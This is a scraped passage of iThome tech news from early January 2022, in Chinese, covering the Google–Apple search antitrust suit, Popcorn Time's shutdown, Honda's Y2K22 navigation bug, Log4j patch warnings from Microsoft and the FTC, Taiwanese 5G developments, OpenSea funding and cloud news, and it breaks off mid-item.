<p><a href="https://www.ithome.com.tw/news/148721">2022年1月5日，研究人員發現70個網站快取中毒漏洞，摩根史坦利支付6千萬美元和解資料外洩訴訟</a></p> <p><a href="https://www.ithome.com.tw/news/148704">2022年1月4日，從網頁複製指令貼上恐被用於攻擊行動、偵測物聯網裝置威脅出現新的方法</a></p> <p><a href="https://www.ithome.com.tw/news/148681">2022年1月3日，Log4Shell漏洞被用於攻擊學術機構，網路叫車系統Uber郵件系統可被冒名寄詐騙郵件</a></p> <p><a href="https://www.ithome.com.tw/news/148656">2021年12月30日，加密貨幣交易所因Log4Shell漏洞成勒索軟體受害者、T-Mobile用戶遭到SIM卡挾持攻擊</a></p> <p><a href="https://www.ithome.com.tw/news/148630">2021年12月29日，密碼管理系統LastPass驚傳遭到帳號填充攻擊，音訊設備大廠、美國物流業者雲端配置不當</a></p> <p><a href="https://www.ithome.com.tw/news/148622">2021年12月28日，資安成國際半導體展要角，勒索軟體eCh0raix於聖誕節前夕攻擊威聯通NAS</a></p> <p><a href="https://www.ithome.com.tw/news/148597">2021年12月27日，IT業者公布Log4Shell漏洞影響情形，疑似由Babuk修改而成的勒索軟體Rook已有受害者</a></p> <p><a href="https://www.ithome.com.tw/news/148576">2021年12月24日，Apache網頁伺服器驚傳重大漏洞，以解僱為由的網釣攻擊散布惡意軟體Dridex</a></p> <p><a href="https://www.ithome.com.tw/news/148544">2021年12月23日，阿里巴巴Log4Shell漏洞未先通報中國政府遭到制裁，微軟Teams應用程式漏洞恐被用於詐騙</a></p> <p><a href="https://www.ithome.com.tw/news/148522">2021年12月22日，Log4Shell隱含SBOM－軟體元件列管問題，暗網市集恐成攻擊者購買入侵帳密來源</a></p> <p><a href="https://www.ithome.com.tw/news/148484">2021年12月21日，比利時國防部遭Log4Shell漏洞攻擊，駭客以輝瑞藥廠的名義進行網路釣魚</a></p> <p><a href="https://www.ithome.com.tw/news/148463">2021年12月20日，Log4Shell出現新的阻斷服務漏洞、勒索軟體Conti鎖定VMware vCenter發動攻擊</a></p> <p><a href="https://www.ithome.com.tw/news/148426">2021年12月17日，Log4Shell出現大量攻擊、間諜軟體攻擊全球工控系統</a></p> </div></div></div>
2022/1/6 14:36作者周峻佑https://www.ithome.com.tw/news/148740
Google、蘋果遭控合作以壟斷搜尋市場
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p><a href="https://www.prnewswire.com/news-releases/class-action-lawsuit-filed-in-california-alleging-google-is-paying-apple-to-stay-out-of-the-search-engine-business-301453098.html" target="_blank">本周數家律師事務所聯合提出的集體訴訟</a>控告Google、蘋果兩家科技巨擘互惠合作，包括Google付給蘋果數十億美元，以便共享Google壟斷市場獲得的利益</p> <p>文件指出雙方之間有6大非競爭協議，使蘋果同意不涉足搜尋業務和Google競爭。兩家公司使用的手段包括Google將搜尋利潤分享給蘋果，蘋果則在所有蘋果裝置上給Google優惠待遇。此外Google每年要支付數十億美元給蘋果，請它不要投入搜尋市場，兩家大廠並協議聯手排擠較小的競爭搜尋業者，甚至收購潛在競爭者。而為了保持合作雙方高層經常定期密會。由於這些利益輸送行為，使Google廣告費用高於競爭者收費。</p> <p>他們希望能將Google付給蘋果的錢吐出來，因而要求法院禁止Google和蘋果聯合行為、簽定利益共享、蘋果裝置優待Google、以及Google付錢給蘋果等協議。他們甚至要求法院能將Google、蘋果各自分割成數間獨立公司，一如石油業及汽車業巨擘如埃克森(Exxon)、美孚(Mobile)、康菲(Conoco)、Amoco、俄亥俄標準石油(Sohio)、雪佛龍(Chevron)等。</p> <p>兩家大廠同時也面臨美國、歐盟、英國等政府的反托拉斯案調查。外界相信Google為了維持搜尋龍頭地位在蘋果身上花了巨額費用。<a href="https://www.ithome.com.tw/news/128751" target="_blank">華爾街分析師曾指出</a>，2018年Google就付給蘋果95億美元，以換取成為Safari瀏覽器預設搜尋引擎。這個數字也不斷增加。<a href="https://www.ithome.com.tw/news/146417" target="_blank">另一家分析機構估計2021年Google支付蘋果的金額增加到150億美元</a>，且預估因為微軟的競爭，可能還會再增加。</p> <p><a href="https://www.ithome.com.tw/news/138549" target="_blank">英國政府一項研究報告指出</a>，去年Google以15億美元為代價，換取成為蘋果Safari的預設搜尋引擎。</p> </div></div></div>
2022/1/6 14:43作者林妍溱https://www.ithome.com.tw/news/148741
開源的盜版影片串流服務Popcorn Time宣布退隱江湖
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>在2014年問世的開源盜版影片串流服務「爆米花時間」（Popcorn Time），<a href="https://popcorn-time.tw/" target="_blank">近日於官網上宣布退隱江湖</a>，現有版本的作者除了於官網貼上R.I.P（Rest In Peace）之外，也向媒體證實他已關閉該專案。</p> <p>Popcorn Time透過BitTorrent技術，向使用者提供全球存放特定影片之不同電腦的連結，提供串流影片搜尋與播放服務，由於它蒐集了眾多的院線片，不僅免費提供，還有各種語言的字幕可供選擇，並支援Windows、macOS、Android與iOS平臺，剛上線就吸引了大量的使用者，<a href="https://s22.q4cdn.com/959853165/files/doc_financials/quarterly_reports/2014/q4/Q4_14_Letter_to_shareholders.pdf" target="_blank">更被2014年的Netflix視為最大的競爭對手之一</a>。</p> <p>而今，Popcorn Time官網上的爆米花圖示，已從開心的笑臉換成死掉的表情，更列出從2015年以來，大眾對Popcorn Time的興趣不斷下滑，暗示這是作者關閉該服務的主因。</p> <p>然而，這並不是Popcorn Time第一次消失，就在Popcorn Time剛上線的第一年，原始作者就受到執法機關的壓力而關閉該服務，但由於這是個開源專案，陸續有其他開發者接手維護它，2015年再因美國電影協會（MPAA）的施壓而關閉，而從2014年迄今，已數不清有多少開發者曾接手Popcorn Time。</p> <p>這使得外界推測，或許有朝一日Popcorn Time會再度復活。</p> </div></div></div>
2022/1/6 14:56作者陳曉莉https://www.ithome.com.tw/news/148742
本田汽車也含有Y2K22臭蟲，導航系統日期跳回2002年
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>你是Honda或Acura等本田汽車的車主嗎？你的車上導航系統的時間是否從2022年1月1日起就跳回2002年了呢？別擔心，你並不孤單，因為全球部份Honda與Acura車主都遭遇到同樣的問題。</p> <p>這幾天不管是在<a href="https://twitter.com/jasoncyip/status/1478165987128086529?ref_src=twsrc%5Etfw" target="_blank">Twitter</a>、<a href="https://www.reddit.com/r/Honda/comments/ru22g0/2007_crv_clock_and_date_wrong/" target="_blank">Reddit</a>或<a href="https://www.ridgelineownersclub.com/threads/time-date-issues-beginning-january-1-2022-latest-update-in-first-post.230330/" target="_blank">其它汽車論壇</a>都有車主發現，車上的導航系統日期自己跳回2002年，而且無法變更，幸好它除了出現古怪的日期之外，導航系統的GPS功能是正常運作的。</p> <p class="rtecenter"><img alt="" src="https://pbs.twimg.com/media/FIOAIRsVQAANgv6?format=jpg&name=small" style="width: 450px;" /></p> <p><a href="https://twitter.com/jasoncyip/status/1478165987128086529?ref_src=twsrc%5Etfw" target="_blank"><span style="color:#696969;">圖片來源_@jasoncyip on twitter</span></a></p> <p>本田大致的回應是該公司已得知此一臭蟲的存在，目前尚無解決的辦法，還說該臭蟲到了今年8月就會自動消失，已向工程團隊求助，希望能儘早修補。</p> <p><a href="https://www.ridgelineownersclub.com/threads/time-date-issues-beginning-january-1-2022-latest-update-in-first-post.230330/" target="_blank">《BleepingComputer》</a>則說此一臭蟲幾乎影響所有舊款的Honda與Acura車種，包括Honda Pilot、Odyssey、CRV、Ridgeline、Acura MDX、RDX、CSX與TL。</p> <p><a href="https://www.ithome.com.tw/news/148670" target="_blank">微軟供內部部署的Exchange Server 2016及Exchange Server 2019也含有Y2K22臭蟲</a>，造成用戶自2022年的第一秒鐘就無法寄出郵件，原因是Exchange Server中的惡意軟體與垃圾郵件掃描引擎FIP-FS無法檢查自2022年開始的新日期，不過，本田汽車說該導航系統的Y2K22臭蟲到了今年8月就會自動復原，應與Exchange Server臭蟲不同。</p> </div></div></div>
2022/1/6 15:13作者陳曉莉https://www.ithome.com.tw/news/148743
微軟警告Log4j漏洞風險並未消褪，要有長期抗戰準備，FTC日前也呼籲企業與合作廠商立即行動，不然將提告
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>Apache Log4j漏洞揭露一個月後，<a href="https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/" target="_blank">微軟本周警告</a>，開採漏洞的行動仍然活躍，呼籲用戶應立即更新版本並提高警覺。</p> <p>去年12月初公佈的Log4j元件（CVE-2021-44228）遠端程式碼漏洞，影響數以百萬計消費及企業軟體及Web程式，之後Log4j還陸續有其他中高風險漏洞相繼被揭露。微軟12月中已經觀察到網路上有各種開採意圖，試圖尋找未修補的裝置以植入勒索軟體、挖礦程式、木馬程式，這些攻擊活動背後包括國家駭客以及以獲利為目的犯罪組織。</p> <p>微軟本周指出，12月幾個星期間試圖開採漏洞的活動仍然頻繁，他們觀察到攻擊者已在現有惡意程式套件和策略，從採礦軟體到人為操作攻擊，加入針對Log4j眾多漏洞的開採模組，然而用戶可能無法察知是否已被駭入。微軟建議針對曾跑過漏洞軟體（Log4j）的裝置加強檢查，此時企業管理員應假定其網路環境已經成為開採程式和掃瞄活動的目標。</p> <p>微軟並指出，由於受影響軟體和服務數量之多，以及更新速度之慢，可以預期整個業界需要花很長時間才能補完漏洞，需要保持警戒。</p> <p>安全廠商觀測到中國、伊朗、北韓、土耳其及俄羅斯等國家支持的駭客組織，已涉及Log4j漏洞的攻擊。<a href="https://securityscorecard.com/blog/log4j-active-exploitation-from-nation-state-actors-findings" target="_blank">上周中國駭客組織Aquatic Panda也被發現利用這項漏洞</a>，攻擊學術單位採用的VMware Horizon系統。</p> <p>另一方面，<a href="https://www.ftc.gov/news-events/blogs/techftc/2022/01/ftc-warns-companies-remediate-log4j-security-vulnerability" target="_blank">美國聯邦交易委員會（Federal Trade Commission, FTC）本周呼籲企業應儘速修補Apache Log4j漏洞</a>，企業及其合作廠商務必立即採取行動，以降低消費者受害的可能性，未修補者可能被FTC提告。</p> <p class="rtecenter"><img alt="" src="https://s4.itho.me/sites/default/files/images/0106-FTC%20log4j.jpg" style="width: 600px;" /></p> <p>FTC以<a href="https://www.ithome.com.tw/news/116731" target="_blank">2017年中發生資料外洩事件的信用報告業者Equifax</a>為例說明。Equifax在2017年的5月至7月間，因漏洞未補遭駭客入侵，外洩1.47億名消費者的個人資料，包括姓名、生日、住家地址以及20.1萬張金融卡資料。事後調查顯示，美國國土安全部曾在當年3月向Equifax警告漏洞的存在，後者卻未有效修補。Equifax遭FTC控告，<a href="https://www.ithome.com.tw/news/131987" target="_blank">雙方並於2019年以7億美元達成和解</a>。</p> <p>現在已知Log4j漏洞包括最嚴重的CVE-2021-44228和CVE-2021-45046、以及上周才公佈的<a href="https://www.ithome.com.tw/news/148623" target="_blank">CVE-2021-44832</a>（3個RCE漏洞已以Log4Shell統稱）。此外還有DoS漏洞CVE-2021-45105。安裝<a href="https://logging.apache.org/log4j/2.x/security.html" target="_blank">Log4j最新版2.17.1</a>可以修補目前已知所有漏洞。</p> <p><a href="https://www.ithome.com.tw/news/148337" target="_blank"><span style="font-size: 20px;"><strong><span style="color: rgb(255, 255, 255);"><span style="background-color: rgb(178, 34, 34);"> Log4j相關修補時間軸 </span></span> </strong><span style="color: rgb(51, 153, 255);"><strong>Apache Log4j日誌框架系統重大漏洞</strong></span></span></a></p> </div></div></div>
2022/1/6 13:10作者林妍溱https://www.ithome.com.tw/news/148739
5G月報第24期：臺灣第一輛5G救護車亮相！
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <h3><span style="color:#0000FF;"><strong>2021/12/01~12/31精選5G趨勢新聞</strong></span></h3> <p><span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;">5G救護車</span></strong></span> <span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;"> 遠傳電信 </span></strong></span></p> <p><span style="font-size:22px;"><strong>臺灣第一輛5G救護車亮相！遠傳將5G遠距診療進一步運用到緊急救護，讓病患救援再早一步</strong></span></p> <p>去年12月一場台灣醫療科技展上，遠傳電信與亞東醫院共同展示全臺第一輛5G救護車，將5G遠距診療更進一步運用到緊急救護上，能即時傳輸病患的生理數據和現場即時影像，讓負責醫師可遠端參考、指導，讓病患救援可以再早一步。</p> <p>遠傳與亞東醫院合作，利用5G和雲端打造一個可以和現場救護環境同步的行動急診室，在救護車內能利用5G網路即時傳輸第一視角影像、病患生理數據至急診醫院，由急診室醫師進行遠端指導。</p> <p>這輛5G救護車裡，配備許多智慧生理量測儀器和影像監測裝置，像是針對大面積傷口的病患，就能透過手持量測儀器來偵測傷口深度和發炎狀況等，這些數據蒐集完後，第一時間會先傳到車上一臺數據收容設備，再透過5G WiFi路由器回傳到雲端，急診室醫師從一臺配備5G 的iPad平板，就能很快看到救護車上測量的數據結果，不需要等待現場人員回報，就能馬上掌握患者情況。</p> <p>在救護車整合了遠傳5G遠距診療平臺，除了可以在5G iPad平板上，即時顯示不同生理測量數據，還可將多個不同監測影像畫面整合在同一個平板螢幕上來觀看，現場人員也能使用它與急室醫師進行視訊通話，並可提供多方即時遠距會診。</p> <p>遠傳表示，目前最多可以支援6方會診，由多位不同專門急診醫師遠端提供指導。因為是在平板螢幕上分割多個視窗同時進行視訊與通話，還要同步處理現場救護影像和病患即時監測生理畫面，這些畫面影像要夠清晰，而且能夠即時反應，醫師才能夠做出正確的判斷，來爭取更多黃金救助時間，因此對於傳輸要求會更高，就需要透過5G大頻寬、低延遲才能辦到。</p> <p>另外，現場急救人員施予急救時，遠端醫師也能經由現場人員頭戴的智慧眼鏡，同步看到病患狀況，甚至可以遙控車內鏡頭來幫助他掌握病患的整體情況，同樣是透過5G來進行遠距操控。</p> <p>遠傳表示，未來將與醫院合作，預期今年5G救護車就會上線。</p> <p><img alt="" src="https://s4.itho.me/sites/default/files/images/PXL_20211203_052836252.jpg" style="width: 600px; height: 338px;" /></p> <p><span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;">台哥大</span></strong></span> <span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;"> 合併 </span></strong></span></p> <p><span style="font-size:22px;"><strong>台哥大將與台灣之星合併，總用戶數直逼電信龍頭，更大大提高5G市場競爭力</strong></span></p> <p>趕在2021年結束前一天，台灣大哥大正式併購台灣之星，儘管兩家公司的合併，尚需公平會與NCC的審核，但未來通過後，新的台灣大哥大行動用戶數不僅直逼電信龍頭中華電信，也將大大提高其在5G市場的競爭力。</p> <p>由於台哥大現今擁有3.5GHz頻段60MHz頻寬及28GHz的400MHz頻寬，若加上台灣之星取得3.5GHz頻段的40MHz頻寬，兩家公司3.5GHz頻段頻寬合計達100MHz，在主流5G頻譜資源上已經領先中華電信。</p> <p>從用戶數來看，台灣之星5G用戶約295萬戶，在5家電信業者中排第4，未來與台哥大合併後，兩家用戶數合計達976萬戶，不僅拉開與遠傳的差距，與擁有1,067萬戶的中華電信相比，僅剩不到百萬戶差距。</p> <p>台灣大哥大蔡明忠董事長表示，這項合併案不僅將有一加一大於二的綜效，更能發揮5G頻譜更高整合效益，而且能提升5G基礎建設的建置成效，也能朝向節能減碳發展目標邁進。</p> <p>合併後，台哥大3.5GHz頻段5G基地臺總數達1.1萬座，可提供全臺9成人口，大約95%的涵蓋率。再者，5G基地臺耗電是4G的三倍以上，兩家行動網路整合後只需一套3G網路，約省下數千座4G基地臺，估一年能省下4千萬度以上用電，甚至合併以後，因使用同一套5G網路，預估能省下1～2億度用電。</p> <p> </p> <p><span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;">5G智慧鋼廠</span></strong></span> <span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;"> 中鋼 </span></strong></span></p> <p><span style="font-size:22px;"><strong>中鋼要打造5G智慧鋼廠，以5G專網結合AI偵測運輸軌道上人車有無淨空，提高行車安全</strong></span></p> <p>過去一年，5G專網應用越來越多，不只高科技製造業、醫療業有用，就連傳統鋼鐵業也開始嘗試。像是擁有臺灣規模最大煉鋼廠的中鋼，最近開始導入5G專網，建立高頻寬、<wbr></wbr>低延遲的室外網路環境，運用到5G智慧軌道行車安全輔助運輸系統等相關應用。</p> <p>中鋼採用中華電信5G企業專網方案，在來打造自己的5G智慧鋼廠，一共部署 6座5G NSA基地臺，搭配MEC邊緣運算設備，配置在全長約900公尺、左右40<wbr></wbr>公尺的廊道上。自去年12月中啟用5G專網後，初期先運用於提高軌道車行車安全。軌道車於運送廊道行駛時，會通過5G專網從平交道上攝影機即時取得人、車等大型重機具的影像畫面，並透過AI偵測前方人車是否淨空，還因此建立緊急通訊機制，針對有異常情況即時告警，讓軌道車可以即時煞停，提高軌道運輸行車安全。</p> <p>除此之外，中鋼未來也將把5G專網延伸到更多智慧製造應用，包括智能板胚動態監控、<wbr></wbr>鋼帶偏移監控系統、專家遠端協作系統、數位產線實境導覽、<wbr></wbr>危險作業遠程操控、渣桶狀態監測系統、<wbr></wbr>行車安全輔助系統等。</p> <p><span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;">遠距醫療</span></strong></span> <span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;"> 工研院 </span></strong></span></p> <p><span style="font-size:22px;"><strong>5G遠距診療有新應用！工研院聯合秀傳展示5G遙控機器手臂完成超音波檢查</strong></span></p> <p>工研院近日展示了5G遠距診療新應用，透過結合5G通訊與機器手臂，讓醫師可以遠端進行超音波檢查。</p> <p>傳統上超音波檢查，過去都是由老練醫師實地操作，一邊觀察一邊操作超音波測量儀器在受檢者身體部位移動，來偵測身體器官有無異常，現在透過5G網路，即使上百公里遠，醫師也能夠直接遙控遠端機械手臂，來完成病人超音波檢查。</p> <p>工研院與秀傳醫院、仁寶電腦、達明機器人最近共同研發打造一套5G醫療超音波遙控檢查系統，讓醫師可以遠端操控機械手臂來進行超音波檢測。</p> <p>只要透過一個手持搖桿裝置，醫師就能進行檢測，透過結合5G的低延遲的特性，醫師每個細微操作都會即時反應到遠端的機器手臂，檢測者身體上下移動，來取得超音波測量數據，因此，就能夠進行各種細膩操作來完成任務。</p> <p>工研院表示，預計明年將配合合作醫療機構進行偏鄉醫檢測試，期盼讓智慧醫療行動化落地。</p> <p><img alt="" src="https://s4.itho.me/sites/default/files/images/%E5%9C%96%E4%BA%8C(6).jpg" style="width: 600px; height: 400px;" /></p> <p><span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;">台灣大哥大</span></strong></span> <span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;"> 5G自駕車 </span></strong></span></p> <p><span style="font-size:22px;"><strong>台哥大與台塑汽車貨運共同展示5G車聯網自駕巴士，不只用於接駁更將延伸到工業、港口等運輸場域應用</strong></span></p> <p>12月底一場5G垂直場域體驗活動上，台灣大哥大展出一輛5G自駕巴士，也是臺灣第一輛結合5G與車聯網(C-V2X)技術研發的自駕巴士。</p> <p>這輛5G自駕巴士是由台灣大與台塑汽車貨運、明志科大、臺灣大學、iAuto合作打造，自去年就開始在長庚養生文化村上路測試，往返村內不同棟的站點載客，時速最高可達40公里，至今載客逾1,500趟次。</p> <p>通過5G大頻寬、低延遲的特性，台哥大表示，能將自駕車行駛資訊透過5G即時回傳分析，運用到各種智慧車聯網應用中，包括車輛即時定位、導航、遠端指令、OTA、輔助駕駛等。</p> <p>除了接駁以外，台哥大表示，這輛5G自駕巴士未來將延伸應用在港口、工業區、倉儲物流、遊樂園等半封閉型場域，來載運貨物，不僅能降低人為操作的風險、也能提升運輸效率及人員安全。</p> <p><img alt="" src="https://s4.itho.me/sites/default/files/images/5G%E6%99%BA%E9%A7%95%E8%BB%8A%E5%8E%BB%E5%B9%B411%E6%9C%88%E6%AD%A3%E5%BC%8F%E5%95%9F%E5%8B%95%E4%BD%8F%E6%B0%91%E6%8E%A5%E9%A7%81%E6%9C%8D%E5%8B%99%EF%BC%8C%E4%B8%8D%E8%AB%96%E6%99%B4%E9%9B%A8%E3%80%81%E6%8C%89%E8%A1%A8%E9%81%8B%E8%A1%8C%EF%BC%8C%E4%B9%98%E5%AE%A2%E7%84%A1%E9%9C%80%E7%99%BB%E8%A8%98%E5%8D%B3%E5%8F%AF%E4%B8%8A%E8%BB%8A.jpg" style="width: 600px; height: 344px;" /></p> <p>攝影／余至浩；圖片來源／台灣大哥大、工研院</p> <p><span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;"> 更多5G動態 </span></strong></span></p> <p><strong>1.首款採用聯發科天璣9000高階處理器的5G終端產品，將於2022年第1季問世</strong></p> <p><strong><strong><strong>2.5G專網前進災害搜救現場第一線，未來結合AI、AR頭盔、無人機打造智慧搜救平臺</strong></strong></strong></p> <p><strong><strong><strong>3.中華電信2022年將以國產5G開放網路設備，在桃園、臺南、高雄建立5G示範應用</strong></strong></strong></p> <p>資料來源：iThome整理，2021年12月</p> </div></div></div>
2022/1/6 13:29作者余至浩https://www.ithome.com.tw/news/148718
OpenSea完成C輪增資，市值達133億美元
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p><a href="https://www.ithome.com.tw/news/148710" target="_blank">一如外界傳聞</a>，全球最大NFT市集OpenSea周二（1/4）<a href="https://opensea.io/blog/announcements/announcing-openseas-new-funding/" target="_blank">宣布已完成C輪增資</a>，由Paradigm及Coatue領銜，再加上既有的股東，總計募集了3億美元的資金，而此次增資的OpenSea市值已由去年7月的15億美元，大幅增加至今年1月的133億美元，在短短的半年內身價大漲8倍。</p> <p>OpenSea創辦人暨執行長Devin Finzer表示，此次所募集的資金有4個目的，包括加速產品開發，改善客戶支援與客戶安全，擴大對NFT及Web3社群的投資，以及擴大經營團隊。</p> <p>此外，本周OpenSea也宣布已延攬曾經歷YouTube、Spotify、WeWork及Meta的Shiva Rajaraman作為該公司的產品副總裁，借助Rajaraman的能力來獎勵創作者及參與者，同時強化用戶的隱私，並建立可持續的經濟。</p> <p>Finzer指出，未來OpenSea將聚焦於降低進入NFT領域的門檻，以及讓人們更容易發現、管理與展示NFT。</p> </div></div></div>
2022/1/6 12:23作者陳曉莉https://www.ithome.com.tw/news/148738
Cloud周報第130期：為提升營運靈活度打造數位零售體驗，全球最大家居裝修零售商搬遷SAP環境上公雲，揭露4階段上雲…
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <h3><span style="vertical-align: top; color: rgb(0, 0, 255);">重點新聞（2021/12/23～2021/01/05）</span></h3> <p><span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 零售商 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> ERP上雲 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 數位零售 </span></strong></span> </p> <p><strong style="font-size: 22px;">美國家居裝修零售商Home Depot花近5個月搬遷SAP環境上公雲，分4階段完成</strong></p> <p>為打造數位零售體驗，全球最大家居裝修零售商The Home Depot搬遷SAP環境上公有雲，涵蓋ERP、CAR、電商、資料倉儲等系統，以提高營運的靈活度，日前對外揭露上雲的歷程，分4階段進行。考量上雲工程牽涉整體組織人員、流程和技術，The Home Depot首先評估了基礎設施和組織的狀況，並從3大面向了解各SAP應用程式的狀態，包含單一應用是否與其他應用有相依性，還有應用程式對業務的重要性，以及應用程式的搬遷難度。接著，規畫應用程式的搬遷優先順序，並建立基本的雲基礎架構，像是配置VPC，並使用運算、儲存、網絡等雲端資源，來支援上雲後的SAP工作負載和應用程式。</p> <p>第三階段，The Home Depot正式展開搬遷工程，採分次遷移工作負載的方式，逐步進行，並根據業務目標來決定工作負載的遷移策略，像是採負載平移策略搬遷BI（SAP BW），還有採混合雲架構的部署方式，搬遷部分供應鏈管理系統的功能上雲。待工作負載都遷移上公有雲後，還有最後一步，那就是優化工作負載，以確保系統和資料的安全性。The Home Depot花近5個月時間，完成SAP環境的上雲工程。<a href=" https://cloud.google.com/blog/products/sap-google-cloud/sap-migration-journey-prem-google-cloud-home-depot">（詳全文）</a></p> <p><span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> NCC </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 網路產業 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 數通法 </span></strong></span> </p> <p><strong style="font-size: 22px;"><span style="font-size:22px;"><strong>NCC公布數通法草案架構，除要規範Meta、YouTube等線上平臺，連VMware等資訊儲存服務商也要納管</strong></span></strong></p> <p><strong style="font-size: 22px;"><span style="font-size:22px;"><strong><img alt="" src="https://s4.itho.me/sites/default/files/images/%E5%9C%961_%E6%95%B8%E9%80%9A%E6%B3%95_%E5%9C%96%E7%89%87%E4%BE%86%E6%BA%90_NCC%202.JPG" style="width: 600px; height: 449px;" /></strong></span></strong></p> <p>NCC正研擬數位通訊傳播服務法（簡稱數通法），來規範網路產業，在去年12月29日先公布了草案架構，將對數位通訊傳播中介服務提供者，制定業者免責與應盡的義務。數通法規範對象包含三層，一是連線服務，像是ISP網路業者Hinet、凱擘等，二是快速存取服務，這類服務已成為ISP業者的服務之一，第三個是資訊儲存服務，例如VMware、Google雲端硬碟等。</p> <p>其中，資訊儲存服務又再分為兩類，一個是線上平臺服務提供者，指的是可讓不特定第三人存取的服務，例如Dcard、YouTube、Meta、Yahoo拍賣，另一個是指定線上平臺服務提供者，但此類認定標準，仍待NCC研議。數通法的立法重點，包括保障民眾數位基本權利，明定對數通中介服務業者的責任及義務，並引進公私協力的機制。</p> <p>NCC引用國際對中介服務者的要求，包含馬尼拉中介者責任原則（Manila Principles on Intermediary Liability）與聖塔克拉拉原則（Santa Clara Principles），來訂定免責條款。為了有效促成自律機制之運作及落實，該草案也規畫成立專責機構，作為政府及民間產業間的橋樑，促進網路環境達到共識的基礎。目前NCC還在調整法條文字，預計1月底前公布草案的法條，並召開公開說明會、公聽會與機關協商，來蒐集各界意見，再提送草案至行政院。<a href=" https://www.ncc.gov.tw/chinese/news_detail.aspx?site_content_sn=8&cate=0&keyword=&is_history=0&pages=0&sn_f=46983">（詳全文）</a></p> <p><span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> AWS </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 故障事件 </span></strong></span> <span style="color:rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 斷電異常 </span></strong></span> </p> <p><span style="font-size: 22px;"><strong>AWS美東地區再發生故障事件，因電源異常導致部分EC2實例停擺</strong></span></p> <p><span style="font-size: 22px;"><strong><img alt="" src="https://s4.itho.me/sites/default/files/images/%E5%9C%96_AWS%20Outage%201222_%E6%88%AA%E5%9C%96.JPG" style="width: 600px; height: 343px;" /></strong></span></p> <p>AWS美東US-EAST-1地區在當地時間12月22日，又發生了當機事件，這已是當月AWS雲端區域的第三起故障事件，影響包含美國麥當勞App、Slack、Grindr等服務。這起故障開始於PST清晨4點11分左右，US-EAST-1地區的部分EC2執行實例和EBS容量面臨斷電狀況，雖然，事發40多分鐘後，受影響資料中心的EC2實例和EBS容量恢復供電，大多數EC2和EBS服務恢復正常，但是，因故障事件的起因是電源異常，導致雲服務的一些底層硬體出現故障，需要工程師進入資料中心內，排除設施問題。</p> <p>當日下午近4點半，AWS在服務狀態儀表板上宣布，已恢復大多數受影響的EC2實例和EBS容量，並建議仍在等待特定EC2實例和EBS容量恢復正常的用戶，重新啟動實例或是利用快照重新建立EBS容量，來恢復使用服務。<a href=" https://status.aws.amazon.com/">（詳全文）</a></p> <p><span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 羅氏集團 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 臨床實驗 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 數位醫療 </span></strong></span> </p> <p><strong style="font-size: 22px;"><strong>醫藥研發大廠羅氏大規模採用公雲服務，分析癌友基因資料以設計藥物臨床實驗</strong></strong></p> <p><strong style="font-size: 22px;"><strong><img alt="" 